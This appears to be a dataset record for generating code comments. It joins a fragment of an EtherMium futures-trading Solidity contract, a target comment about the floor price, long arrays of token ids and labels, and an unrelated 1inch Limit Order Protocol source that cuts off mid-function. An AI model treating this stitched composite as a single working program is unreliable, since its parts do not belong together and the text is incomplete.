//subReserve(addressValues[0], addressValues[1], uintValues[7], safeMul(uintValues[0], safeSub(futuresContracts[futuresContract].capPrice, retrievePosition(positionHash)[1]))); // remove freed collateral from reserver
//pam[1] = safeMul(uintValues[0], safeSub(futuresContracts[futuresContract].capPrice, retrievePosition(positionHash)[1])) / futuresContracts[futuresContract].capPrice;
pam[1] = calculateCollateral(futuresContracts[futuresContract].capPrice, retrievePosition(positionHash)[1], uintValues[0], false, futuresContract);
// LogUint(120, uintValues[0]);
// LogUint(121, futuresContracts[futuresContract].capPrice);
// LogUint(122, retrievePosition(positionHash)[1]);
// LogUint(123, uintValues[3]); // profit
// LogUint(124, uintValues[4]); // loss
// LogUint(125, safeAdd(uintValues[4], pam[0]));
// LogUint(12, pam[1] );
//return;
}
else
{
// original position was long
//subReserve(addressValues[0], addressValues[1], uintValues[7], safeMul(uintValues[0], safeSub(retrievePosition(positionHash)[1], futuresContracts[futuresContract].floorPrice)));
//pam[1] = safeMul(uintValues[0], safeSub(retrievePosition(positionHash)[1], futuresContracts[futuresContract].floorPrice)) / futuresContracts[futuresContract].floorPrice;
pam[1] = calculateCollateral(futuresContracts[futuresContract].floorPrice, retrievePosition(positionHash)[1], uintValues[0], true, futuresContract);
}
// LogUint(41, uintValues[3]);
// LogUint(42, uintValues[4]);
// LogUint(43, pam[0]);
// return;
if (uintValues[3] > 0)
{
// profi > 0
if (pam[0] <= uintValues[3]*1e10)
{
//addBalance(addressValues[0], addressValues[1], uintValues[5], safeSub(uintValues[3], pam[0])); // add profit to user balance
addBalanceSubReserve(addressValues[0], addressValues[1], safeSub(uintValues[3]*1e10, pam[0]), pam[1]);
}
else
{
subBalanceSubReserve(addressValues[0], addressValues[1], safeSub(pam[0], uintValues[3]*1e10), pam[1]);
}
}
else
{
// loss >= 0
//subBalance(addressValues[0], addressValues[1], uintValues[5], safeAdd(uintValues[4], pam[0])); // deduct loss from user balance
subBalanceSubReserve(addressValues[0], addressValues[1], safeAdd(uintValues[4]*1e10, pam[0]), pam[1]); // deduct loss from user balance
}
//}
}
addBalance(addressValues[0], feeAccount, EtherMium(exchangeContract).balanceOf(addressValues[0], feeAccount), pam[0]); // send fee to feeAccount
}
function recordNewPosition (bytes32 positionHash, uint256 size, uint256 price, uint256 side, uint256 block) private
{
if (!validateUint128(size) || !validateUint64(price))
{
throw;
}
uint256 character = uint128(size);
character |= price<<128;
character |= side<<192;
character |= block<<208;
positions[positionHash] = character;
}
function retrievePosition (bytes32 positionHash) public view returns (uint256[4])
{
uint256 character = positions[positionHash];
uint256 size = uint256(uint128(character));
uint256 price = uint256(uint64(character>>128));
uint256 side = uint256(uint16(character>>192));
uint256 entryBlock = uint256(uint48(character>>208));
return [size, price, side, entryBlock];
}
function updatePositionSize(bytes32 positionHash, uint256 size, uint256 price) private
{
uint256[4] memory pos = retrievePosition(positionHash);
if (size > pos[0])
{
// position is increasing in size
recordNewPosition(positionHash, size, safeAdd(safeMul(pos[0], pos[1]), safeMul(price, safeSub(size, pos[0]))) / size, pos[2], pos[3]);
}
else
{
// position is decreasing in size
recordNewPosition(positionHash, size, pos[1], pos[2], pos[3]);
}
}
function positionExists (bytes32 positionHash) internal view returns (bool)
{
//LogUint(3,retrievePosition(positionHash)[0]);
if (retrievePosition(positionHash)[0] == 0)
{
return false;
}
else
{
return true;
}
}
// This function allows the user to manually release collateral in case the oracle service does not provide the price during the inactivityReleasePeriod
function forceReleaseReserve (bytes32 futuresContract, bool side) public
{
if (futuresContracts[futuresContract].expirationBlock == 0) throw;
if (futuresContracts[futuresContract].expirationBlock > block.number) throw;
if (safeAdd(futuresContracts[futuresContract].expirationBlock, EtherMium(exchangeContract).getInactivityReleasePeriod()) > block.number) throw;
bytes32 positionHash = keccak256(this, msg.sender, futuresContract, side);
if (retrievePosition(positionHash)[1] == 0) throw;
futuresContracts[futuresContract].broken = true;
address baseToken = futuresAssets[futuresContracts[futuresContract].asset].baseToken;
if (side)
{
subReserve(
baseToken,
msg.sender,
EtherMium(exchangeContract).getReserve(baseToken, msg.sender),
//safeMul(safeSub(retrievePosition(positionHash)[1], futuresContracts[futuresContract].floorPrice), retrievePosition(positionHash)[0]) / futuresContracts[futuresContract].floorPrice
calculateCollateral(futuresContracts[futuresContract].floorPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], true, futuresContract)
);
}
else
{
subReserve(
baseToken,
msg.sender,
EtherMium(exchangeContract).getReserve(baseToken, msg.sender),
//safeMul(safeSub(futuresContracts[futuresContract].capPrice, retrievePosition(positionHash)[1]), retrievePosition(positionHash)[0]) / futuresContracts[futuresContract].capPrice
calculateCollateral(futuresContracts[futuresContract].capPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], false, futuresContract)
);
}
updatePositionSize(positionHash, 0, 0);
//EtherMium(exchangeContract).setReserve(baseToken, msg.sender, safeSub(EtherMium(exchangeContract).getReserve(baseToken, msg.sender), );
//reserve[futuresContracts[futuresContract].baseToken][msg.sender] = safeSub(reserve[futuresContracts[futuresContract].baseToken][msg.sender], positions[msg.sender][positionHash].collateral);
emit FuturesForcedRelease(futuresContract, side, msg.sender);
}
function addBalance(address token, address user, uint256 balance, uint256 amount) private
{
EtherMium(exchangeContract).setBalance(token, user, safeAdd(balance, amount));
}
function subBalance(address token, address user, uint256 balance, uint256 amount) private
{
EtherMium(exchangeContract).setBalance(token, user, safeSub(balance, amount));
}
function subBalanceAddReserve(address token, address user, uint256 subBalance, uint256 addReserve) private
{
EtherMium(exchangeContract).subBalanceAddReserve(token, user, subBalance, addReserve * 1e10);
}
function addBalanceSubReserve(address token, address user, uint256 addBalance, uint256 subReserve) private
{
EtherMium(exchangeContract).addBalanceSubReserve(token, user, addBalance, subReserve * 1e10);
}
function subBalanceSubReserve(address token, address user, uint256 subBalance, uint256 subReserve) private
{
// LogUint(31, subBalance);
// LogUint(32, subReserve);
// return;
EtherMium(exchangeContract).subBalanceSubReserve(token, user, subBalance, subReserve * 1e10);
}
function addReserve(address token, address user, uint256 reserve, uint256 amount) private
{
//reserve[token][user] = safeAdd(reserve[token][user], amount);
EtherMium(exchangeContract).setReserve(token, user, safeAdd(reserve, amount * 1e10));
}
function subReserve(address token, address user, uint256 reserve, uint256 amount) private
{
//reserve[token][user] = safeSub(reserve[token][user], amount);
EtherMium(exchangeContract).setReserve(token, user, safeSub(reserve, amount * 1e10));
}
function getMakerTakerBalances(address maker, address taker, address token) public view returns (uint256[4])
{
return [
EtherMium(exchangeContract).balanceOf(token, maker),
EtherMium(exchangeContract).getReserve(token, maker),
EtherMium(exchangeContract).balanceOf(token, taker),
EtherMium(exchangeContract).getReserve(token, taker)
];
}
function getMakerTakerPositions(bytes32 makerPositionHash, bytes32 makerInversePositionHash, bytes32 takerPosition, bytes32 takerInversePosition) public view returns (uint256[4][4])
{
return [
retrievePosition(makerPositionHash),
retrievePosition(makerInversePositionHash),
retrievePosition(takerPosition),
retrievePosition(takerInversePosition)
];
}
struct FuturesClosePositionValues {
uint256 reserve; // amount to be trade
uint256 balance; // holds maker profit value
uint256 floorPrice; // holds maker loss value
uint256 capPrice; // holds taker profit value
uint256 closingPrice; // holds taker loss value
bytes32 futuresContract; // the futures contract hash
}
function closeFuturesPosition (bytes32 futuresContract, bool side)
{
bytes32 positionHash = keccak256(this, msg.sender, futuresContract, side);
if (futuresContracts[futuresContract].closed == false && futuresContracts[futuresContract].expirationBlock != 0) throw; // contract not yet settled
if (retrievePosition(positionHash)[1] == 0) throw; // position not found
if (retrievePosition(positionHash)[0] == 0) throw; // position already closed
uint256 profit;
uint256 loss;
address baseToken = futuresAssets[futuresContracts[futuresContract].asset].baseToken;
FuturesClosePositionValues memory v = FuturesClosePositionValues({
reserve : EtherMium(exchangeContract).getReserve(baseToken, msg.sender),
balance : EtherMium(exchangeContract).balanceOf(baseToken, msg.sender),
floorPrice : futuresContracts[futuresContract].floorPrice,
capPrice : futuresContracts[futuresContract].capPrice,
closingPrice : futuresContracts[futuresContract].closingPrice,
futuresContract : futuresContract
});
// uint256 reserve = EtherMium(exchangeContract).getReserve(baseToken, msg.sender);
// uint256 balance = EtherMium(exchangeContract).balanceOf(baseToken, msg.sender);
// uint256 floorPrice = futuresContracts[futuresContract].floorPrice;
// uint256 capPrice = futuresContracts[futuresContract].capPrice;
// uint256 closingPrice = futuresContracts[futuresContract].closingPrice;
//uint256 fee = safeMul(safeMul(retrievePosition(positionHash)[0], v.closingPrice), takerFee) / (1 ether);
uint256 fee = calculateFee(retrievePosition(positionHash)[0], v.closingPrice, takerFee, futuresContract);
// close long position
if (side == true)
{
// LogUint(11, EtherMium(exchangeContract).getReserve(baseToken, msg.sender));
// LogUint(12, safeMul(safeSub(retrievePosition(positionHash)[1], futuresContracts[futuresContract].floorPrice), retrievePosition(positionHash)[0]) / futuresContracts[futuresContract].floorPrice);
// return;
// reserve = reserve - (entryPrice - floorPrice) * size;
//subReserve(baseToken, msg.sender, EtherMium(exchangeContract).getReserve(baseToken, msg.sender), safeMul(safeSub(positions[positionHash].entryPrice, futuresContracts[futuresContract].floorPrice), positions[positionHash].size));
subReserve(
baseToken,
msg.sender,
v.reserve,
//safeMul(safeSub(retrievePosition(positionHash)[1], v.floorPrice), retrievePosition(positionHash)[0]) / v.floorPrice
calculateCollateral(v.floorPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], true, v.futuresContract)
);
//EtherMium(exchangeContract).setReserve(baseToken, msg.sender, safeSub(EtherMium(exchangeContract).getReserve(baseToken, msg.sender), safeMul(safeSub(positions[msg.sender][positionHash].entryPrice, futuresContracts[futuresContract].floorPrice), positions[msg.sender][positionHash].size));
//reserve[futuresContracts[futuresContract].baseToken][msg.sender] = safeSub(reserve[futuresContracts[futuresContract].baseToken][msg.sender], safeMul(safeSub(positions[msg.sender][positionHash].entryPrice, futuresContracts[futuresContract].floorPrice), positions[msg.sender][positionHash].size));
if (v.closingPrice > retrievePosition(positionHash)[1])
{
// user made a profit
//profit = safeMul(safeSub(v.closingPrice, retrievePosition(positionHash)[1]), retrievePosition(positionHash)[0]) / v.closingPrice;
profit = calculateProfit(v.closingPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], futuresContract, false);
// LogUint(15, profit);
// LogUint(16, fee);
// LogUint(17, safeSub(profit * 1e10, fee));
// return;
addBalance(baseToken, msg.sender, v.balance, safeSub(profit * 1e10, fee * 1e10));
//EtherMium(exchangeContract).updateBalance(baseToken, msg.sender, safeAdd(EtherMium(exchangeContract).balanceOf(baseToken, msg.sender), profit);
//tokens[futuresContracts[futuresContract].baseToken][msg.sender] = safeAdd(tokens[futuresContracts[futuresContract].baseToken][msg.sender], profit);
}
else
{
// user made a loss
//loss = safeMul(safeSub(retrievePosition(positionHash)[1], v.closingPrice), retrievePosition(positionHash)[0]) / v.closingPrice;
loss = calculateLoss(v.closingPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], futuresContract, false);
subBalance(baseToken, msg.sender, v.balance, safeAdd(loss * 1e10, fee * 1e10));
//tokens[futuresContracts[futuresContract].baseToken][msg.sender] = safeSub(tokens[futuresContracts[futuresContract].baseToken][msg.sender], loss);
}
}
// close short position
else
{
// LogUint(11, EtherMium(exchangeContract).getReserve(baseToken, msg.sender));
// LogUint(12, safeMul(safeSub(futuresContracts[futuresContract].capPrice, retrievePosition(positionHash)[1]), retrievePosition(positionHash)[0]) / futuresContracts[futuresContract].capPrice);
// return;
// reserve = reserve - (capPrice - entryPrice) * size;
subReserve(
baseToken,
msg.sender,
v.reserve,
//safeMul(safeSub(v.capPrice, retrievePosition(positionHash)[1]), retrievePosition(positionHash)[0]) / v.capPrice
calculateCollateral(v.capPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], false, v.futuresContract)
);
//EtherMium(exchangeContract).setReserve(baseToken, msg.sender, safeSub(EtherMium(exchangeContract).getReserve(baseToken, msg.sender), safeMul(safeSub(futuresContracts[futuresContract].capPrice, positions[msg.sender][positionHash].entryPrice), positions[msg.sender][positionHash].size));
//reserve[futuresContracts[futuresContract].baseToken][msg.sender] = safeSub(reserve[futuresContracts[futuresContract].baseToken][msg.sender], safeMul(safeSub(futuresContracts[futuresContract].capPrice, positions[msg.sender][positionHash].entryPrice), positions[msg.sender][positionHash].size));
if (v.closingPrice < retrievePosition(positionHash)[1])
{
// user made a profit
// profit = (entryPrice - closingPrice) * size
// profit = safeMul(safeSub(retrievePosition(positionHash)[1], v.closingPrice), retrievePosition(positionHash)[0]) / v.closingPrice;
profit = calculateProfit(v.closingPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], futuresContract, true);
addBalance(baseToken, msg.sender, v.balance, safeSub(profit * 1e10, fee * 1e10));
//tokens[futuresContracts[futuresContract].baseToken][msg.sender] = safeAdd(tokens[futuresContracts[futuresContract].baseToken][msg.sender], profit);
}
else
{
// user made a loss
// profit = (closingPrice - entryPrice) * size
//loss = safeMul(safeSub(v.closingPrice, retrievePosition(positionHash)[1]), retrievePosition(positionHash)[0]) / v.closingPrice;
loss = calculateLoss(v.closingPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], futuresContract, true);
subBalance(baseToken, msg.sender, v.balance, safeAdd(loss * 1e10, fee * 1e10));
//tokens[futuresContracts[futuresContract].baseToken][msg.sender] = safeSub(tokens[futuresContracts[futuresContract].baseToken][msg.sender], loss);
}
}
addBalance(baseToken, feeAccount, EtherMium(exchangeContract).balanceOf(baseToken, feeAccount), fee * 1e10); // send fee to feeAccount
updatePositionSize(positionHash, 0, 0);
}
/*
string priceUrl; // the url where the price of the asset will be taken for settlement
string pricePath; // price path in the returned JSON from the priceUrl (ex. path "last" will return tha value last from the json: {"high": "156.49", "last": "154.31", "timestamp": "1556522201", "bid": "154.22", "vwap": "154.65", "volume": "25578.79138868", "low": "152.33", "ask": "154.26", "open": "152.99"})
bool multiplied; // if true, the price from the priceUrl will be multiplied by the multiplierPriceUrl
string multiplierPriceUrl; // needed only if multiplied=true
string multiplierPricePath; // same as pricePath
bool inverseMultiplier;
*/
function closeFuturesContract (bytes32 futuresContract, uint256 price, uint256 multipliterPrice) onlyAdmin
{
uint256 closingPrice = price;
if (futuresContracts[futuresContract].expirationBlock == 0) throw; // contract not found
if (futuresContracts[futuresContract].closed == true) throw; // contract already closed
if (futuresContracts[futuresContract].expirationBlock > block.number
&& closingPrice > futuresContracts[futuresContract].floorPrice
&& closingPrice < futuresContracts[futuresContract].capPrice) throw; // contract not yet expired
futuresContracts[futuresContract].closingPrice = closingPrice;
futuresContracts[futuresContract].closed = true;
emit FuturesContractClosed(futuresContract, closingPrice);
}
// Returns the smaller of two values
function min(uint a, uint b) private pure returns (uint) {
return a < b ? a : b;
}
} | the minimum price that can be traded on the contract, once price is reached the contract expires and enters settlement state
| uint256 floorPrice; | 2,472,895 | [
1,
5787,
5224,
6205,
716,
848,
506,
1284,
785,
603,
326,
6835,
16,
3647,
6205,
353,
8675,
326,
6835,
7368,
471,
3281,
414,
26319,
806,
919,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
5034,
6346,
5147,
31,
2868,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "./OrderMixin.sol";
import "./OrderRFQMixin.sol";
/// @title 1inch Limit Order Protocol v2
contract LimitOrderProtocol is
EIP712("1inch Limit Order Protocol", "2"),
OrderMixin,
OrderRFQMixin
{
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns(bytes32) {
return _domainSeparatorV4();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ECDSA.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./helpers/AmountCalculator.sol";
import "./helpers/ChainlinkCalculator.sol";
import "./helpers/NonceManager.sol";
import "./helpers/PredicateHelper.sol";
import "./interfaces/InteractiveNotificationReceiver.sol";
import "./libraries/ArgumentsDecoder.sol";
import "./libraries/Permitable.sol";
/// @title Regular Limit Order mixin
abstract contract OrderMixin is
EIP712,
AmountCalculator,
ChainlinkCalculator,
NonceManager,
PredicateHelper,
Permitable
{
using Address for address;
using ArgumentsDecoder for bytes;
/// @notice Emitted every time order gets filled, including partial fills
event OrderFilled(
address indexed maker,
bytes32 orderHash,
uint256 remaining
);
/// @notice Emitted when order gets cancelled
event OrderCanceled(
address indexed maker,
bytes32 orderHash,
uint256 remainingRaw
);
// Fixed-size order part with core information
struct StaticOrder {
uint256 salt;
address makerAsset;
address takerAsset;
address maker;
address receiver;
address allowedSender; // equals to Zero address on public orders
uint256 makingAmount;
uint256 takingAmount;
}
// `StaticOrder` extension including variable-sized additional order meta information
struct Order {
uint256 salt;
address makerAsset;
address takerAsset;
address maker;
address receiver;
address allowedSender; // equals to Zero address on public orders
uint256 makingAmount;
uint256 takingAmount;
bytes makerAssetData;
bytes takerAssetData;
bytes getMakerAmount; // this.staticcall(abi.encodePacked(bytes, swapTakerAmount)) => (swapMakerAmount)
bytes getTakerAmount; // this.staticcall(abi.encodePacked(bytes, swapMakerAmount)) => (swapTakerAmount)
bytes predicate; // this.staticcall(bytes) => (bool)
bytes permit; // On first fill: permit.1.call(abi.encodePacked(permit.selector, permit.2))
bytes interaction;
}
bytes32 constant public LIMIT_ORDER_TYPEHASH = keccak256(
"Order(uint256 salt,address makerAsset,address takerAsset,address maker,address receiver,address allowedSender,uint256 makingAmount,uint256 takingAmount,bytes makerAssetData,bytes takerAssetData,bytes getMakerAmount,bytes getTakerAmount,bytes predicate,bytes permit,bytes interaction)"
);
uint256 constant private _ORDER_DOES_NOT_EXIST = 0;
uint256 constant private _ORDER_FILLED = 1;
/// @notice Stores unfilled amounts for each order plus one.
/// Therefore 0 means order doesn't exist and 1 means order was filled
mapping(bytes32 => uint256) private _remaining;
/// @notice Returns unfilled amount for order. Throws if order does not exist
function remaining(bytes32 orderHash) external view returns(uint256) {
uint256 amount = _remaining[orderHash];
require(amount != _ORDER_DOES_NOT_EXIST, "LOP: Unknown order");
unchecked { amount -= 1; }
return amount;
}
/// @notice Returns unfilled amount for order
/// @return Result Unfilled amount of order plus one if order exists. Otherwise 0
function remainingRaw(bytes32 orderHash) external view returns(uint256) {
return _remaining[orderHash];
}
/// @notice Same as `remainingRaw` but for multiple orders
function remainingsRaw(bytes32[] memory orderHashes) external view returns(uint256[] memory) {
uint256[] memory results = new uint256[](orderHashes.length);
for (uint256 i = 0; i < orderHashes.length; i++) {
results[i] = _remaining[orderHashes[i]];
}
return results;
}
/**
* @notice Calls every target with corresponding data. Then reverts with CALL_RESULTS_0101011 where zeroes and ones
* denote failure or success of the corresponding call
* @param targets Array of addresses that will be called
* @param data Array of data that will be passed to each call
*/
function simulateCalls(address[] calldata targets, bytes[] calldata data) external {
require(targets.length == data.length, "LOP: array size mismatch");
bytes memory reason = new bytes(targets.length);
for (uint256 i = 0; i < targets.length; i++) {
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory result) = targets[i].call(data[i]);
if (success && result.length > 0) {
success = result.length == 32 && result.decodeBool();
}
reason[i] = success ? bytes1("1") : bytes1("0");
}
// Always revert and provide per call results
revert(string(abi.encodePacked("CALL_RESULTS_", reason)));
}
/// @notice Cancels order by setting remaining amount to zero
function cancelOrder(Order memory order) external {
require(order.maker == msg.sender, "LOP: Access denied");
bytes32 orderHash = hashOrder(order);
uint256 orderRemaining = _remaining[orderHash];
require(orderRemaining != _ORDER_FILLED, "LOP: already filled");
emit OrderCanceled(msg.sender, orderHash, orderRemaining);
_remaining[orderHash] = _ORDER_FILLED;
}
/// @notice Fills an order. If one doesn't exist (first fill) it will be created using order.makerAssetData
/// @param order Order quote to fill
/// @param signature Signature to confirm quote ownership
/// @param makingAmount Making amount
/// @param takingAmount Taking amount
/// @param thresholdAmount Specifies maximum allowed takingAmount when takingAmount is zero, otherwise specifies minimum allowed makingAmount
function fillOrder(
Order memory order,
bytes calldata signature,
uint256 makingAmount,
uint256 takingAmount,
uint256 thresholdAmount
) external returns(uint256 /* actualMakingAmount */, uint256 /* actualTakingAmount */) {
return fillOrderTo(order, signature, makingAmount, takingAmount, thresholdAmount, msg.sender);
}
/// @notice Same as `fillOrder` but calls permit first,
/// allowing to approve token spending and make a swap in one transaction.
/// Also allows to specify funds destination instead of `msg.sender`
/// @param order Order quote to fill
/// @param signature Signature to confirm quote ownership
/// @param makingAmount Making amount
/// @param takingAmount Taking amount
/// @param thresholdAmount Specifies maximum allowed takingAmount when takingAmount is zero, otherwise specifies minimum allowed makingAmount
/// @param target Address that will receive swap funds
/// @param permit Should consist of abiencoded token address and encoded `IERC20Permit.permit` call.
/// @dev See tests for examples
function fillOrderToWithPermit(
Order memory order,
bytes calldata signature,
uint256 makingAmount,
uint256 takingAmount,
uint256 thresholdAmount,
address target,
bytes calldata permit
) external returns(uint256 /* actualMakingAmount */, uint256 /* actualTakingAmount */) {
require(permit.length >= 20, "LOP: permit length too low");
(address token, bytes calldata permitData) = permit.decodeTargetAndData();
_permit(token, permitData);
return fillOrderTo(order, signature, makingAmount, takingAmount, thresholdAmount, target);
}
/// @notice Same as `fillOrder` but allows to specify funds destination instead of `msg.sender`
/// @param order Order quote to fill
/// @param signature Signature to confirm quote ownership
/// @param makingAmount Making amount
/// @param takingAmount Taking amount
/// @param thresholdAmount Specifies maximum allowed takingAmount when takingAmount is zero, otherwise specifies minimum allowed makingAmount
/// @param target Address that will receive swap funds
function fillOrderTo(
Order memory order,
bytes calldata signature,
uint256 makingAmount,
uint256 takingAmount,
uint256 thresholdAmount,
address target
) public returns(uint256 /* actualMakingAmount */, uint256 /* actualTakingAmount */) {
require(target != address(0), "LOP: zero target is forbidden");
bytes32 orderHash = hashOrder(order);
{ // Stack too deep
uint256 remainingMakerAmount = _remaining[orderHash];
require(remainingMakerAmount != _ORDER_FILLED, "LOP: remaining amount is 0");
require(order.allowedSender == address(0) || order.allowedSender == msg.sender, "LOP: private order");
if (remainingMakerAmount == _ORDER_DOES_NOT_EXIST) {
// First fill: validate order and permit maker asset
require(SignatureChecker.isValidSignatureNow(order.maker, orderHash, signature), "LOP: bad signature");
remainingMakerAmount = order.makingAmount;
if (order.permit.length >= 20) {
// proceed only if permit length is enough to store address
(address token, bytes memory permit) = order.permit.decodeTargetAndCalldata();
_permitMemory(token, permit);
require(_remaining[orderHash] == _ORDER_DOES_NOT_EXIST, "LOP: reentrancy detected");
}
} else {
unchecked { remainingMakerAmount -= 1; }
}
// Check if order is valid
if (order.predicate.length > 0) {
require(checkPredicate(order), "LOP: predicate returned false");
}
// Compute maker and taker assets amount
if ((takingAmount == 0) == (makingAmount == 0)) {
